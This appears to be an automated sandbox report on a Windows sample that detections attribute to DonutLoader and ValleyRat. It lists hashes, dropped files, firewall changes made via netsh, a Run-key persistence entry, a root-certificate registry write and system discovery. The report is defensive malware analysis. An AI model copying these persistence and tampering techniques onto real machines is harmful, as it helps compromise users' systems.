Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
18/04/2026, 04:17
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
33 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe
Resource
win11-20260130-en
windows11-21h2-x64
33 signatures
150 seconds
General
- Target 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe
- Size 36.3MB
- Sample260418-ewcpragt91
- SHA256 19fe744400b13ef08de1ebfb286999479e7a3401dde7e5f9bba77e44e2dffc5a
- MD5 3ef2f36b856f3538af201d2cd2b46756
- SHA1 6b42d16ed55e8ff62a2f29793fd9fb8d27f2d556
- SHA512 4c2cf907e24187460aecbdc454539309d1f19d441cac7ca2524178924b39c9d4900cf2eed7e271629578012e4d2b4536a1e386a3379bfec9ddf1d903c492e653
- SSDEEP 786432:/1i2MUlJXplNut/5rpI5Gv3XHd9MKFq9EXknSMUmS6w3ObQvqJer:/1iHk/w/zIAvH9q9EXkSPGw3ObQvqJW
- TLSH T1D08733B30B55CC63FF949C7D88EB128D3C357627285054333A4E7A90EC5215FA6BAA72
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral2/memory/2392-813-0x00000000012B0000-0x00000000012C9000-memory.dmp family_donutloader - Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\drivers\SET82A8.tmp DrvInst.exe File created C:\Windows\System32\drivers\SET82A8.tmp DrvInst.exe - Modifies Windows Firewall 2 TTPs 5 IoCs
pid Process 1956 netsh.exe 1976 netsh.exe 4468 netsh.exe 3456 netsh.exe 3216 netsh.exe - Executes dropped EXE 13 IoCs
pid Process 3092 letsvpn-3.16.9.exe 3684 tapinstall.exe 1884 tapinstall.exe 1712 tapinstall.exe 2920 LetsPRO.exe 2796 LetsPRO.exe 4016 LetsPRO.exe 3920 LetsPRO.exe 1080 cloudflared_installer.exe 4656 cloudflared_installer.tmp 2676 LetsPRO.exe 1044 System.exe 2392 WindowsEvent.exe - Loads dropped DLL 64 IoCs
pid Process 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 5064 2026-04-18_3ef2f36b856f3538af201d2cd2b46756_cloudeye_dosia_elex_wannacry.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 2796 LetsPRO.exe 3092 letsvpn-3.16.9.exe 3092 letsvpn-3.16.9.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe 3920 LetsPRO.exe - Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description flow ioc pid Process Destination IP 37 119.29.29.29 3920 LetsPRO.exe Destination IP 11 119.29.29.29 3920 LetsPRO.exe Destination IP 27 119.29.29.29 3920 LetsPRO.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\LetsPRO = "\"C:\\Program Files (x86)\\letsvpn\\app-3.16.9\\LetsPRO.exe\" /silent" LetsPRO.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 1136 msiexec.exe 5 1136 msiexec.exe 5 1136 msiexec.exe 4 1136 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe -
pid Process 2964 cmd.exe 1548 ARP.EXE - Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8142.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8142.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8152.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c} DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8141.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8152.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\tap0901.sys DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae\oemvista.PNF tapinstall.exe File created C:\Windows\System32\DriverStore\Temp\{9f36c01d-c127-3b4a-a6c3-77c83ac6942c}\SET8141.tmp DrvInst.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\letsvpn\driver\tapinstall.exe letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\SQLitePCLRaw.provider.dynamic_cdecl.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Net.IPNetwork.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\cs letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\de\System.Web.Services.Description.resources.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\MdXaml.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\NuGet.Squirrel.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\SQLitePCLRaw.nativelibrary.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Net.Ping.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\runtimes\win-x86 letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\runtimes\win-x64\native letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\runtimes\win-x64\native\e_sqlite3.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\Microsoft.Win32.Primitives.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Text.Encodings.Web.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\LetsPRO.exe.config letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\Microsoft.Win32.SystemEvents.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Collections.Specialized.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.IO.Pipes.AccessControl.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.Extensions.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\SQLiteNetExtensionsAsync.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Resources.ResourceManager.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\INIFileParser.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\fr letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\zh-Hant\System.Web.Services.Description.resources.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Linq.Queryable.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Net.WebHeaderCollection.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Numerics.Vectors.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Security.Permissions.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\LetsPRO.exe letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\SQLitePCLRaw.batteries_v2.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Data.Common.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\ndp462-web.exe letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.CodeDom.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Diagnostics.FileVersionInfo.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.Serialization.Primitives.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Xml.XDocument.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\ICSharpCode.AvalonEdit.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\Microsoft.Web.WebView2.WinForms.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\SQLitePCLRaw.provider.dynamic_cdecl.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Threading.Thread.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\SharpCompress.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Collections.NonGeneric.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Diagnostics.Process.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.ServiceModel.Security.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Threading.Thread.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Threading.Timer.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\netstandard.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.IO.Pipes.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1 letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Security.Cryptography.Algorithms.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Text.Encoding.CodePages.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Xml.XmlDocument.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\INIFileParser.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.IO.IsolatedStorage.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.ObjectModel.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Runtime.CompilerServices.VisualC.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Threading.Timer.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\DeltaCompressionDotNet.MsDelta.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.IO.IsolatedStorage.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Security.Cryptography.Csp.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.Security.Cryptography.Primitives.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\System.ServiceModel.Http.dll letsvpn-3.16.9.exe File created C:\Program Files (x86)\letsvpn\app-3.16.9\System.Threading.Overlapped.dll letsvpn-3.16.9.exe File opened for modification C:\Program Files (x86)\letsvpn\app-3.16.9\Mono.Cecil.Rocks.dll letsvpn-3.16.9.exe - Drops file in Windows directory 18 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DFF4C5A1FF63D74A6A.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFB7AE1416B6AF5159.TMP msiexec.exe File opened for modification C:\Windows\inf\oem3.inf DrvInst.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFEFD9C369F1561B05.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIA64D.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\inf\oem3.inf DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Installer\e58a2f2.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{4E770F36-669B-4959-9C32-3F8ABC7E2BEE} msiexec.exe File created C:\Windows\SystemTemp\~DF94DC515CAD746CAD.TMP msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File created C:\Windows\Installer\e58a2f2.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e58a2f6.msi msiexec.exe -
pid Process 3320 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 System.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 System.exe - System Location Discovery: System Language Discovery 1 TTPs 31 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cloudflared_installer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WindowsEvent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ROUTE.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LetsPRO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LetsPRO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LetsPRO.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ARP.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language letsvpn-3.16.9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cloudflared_installer.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe 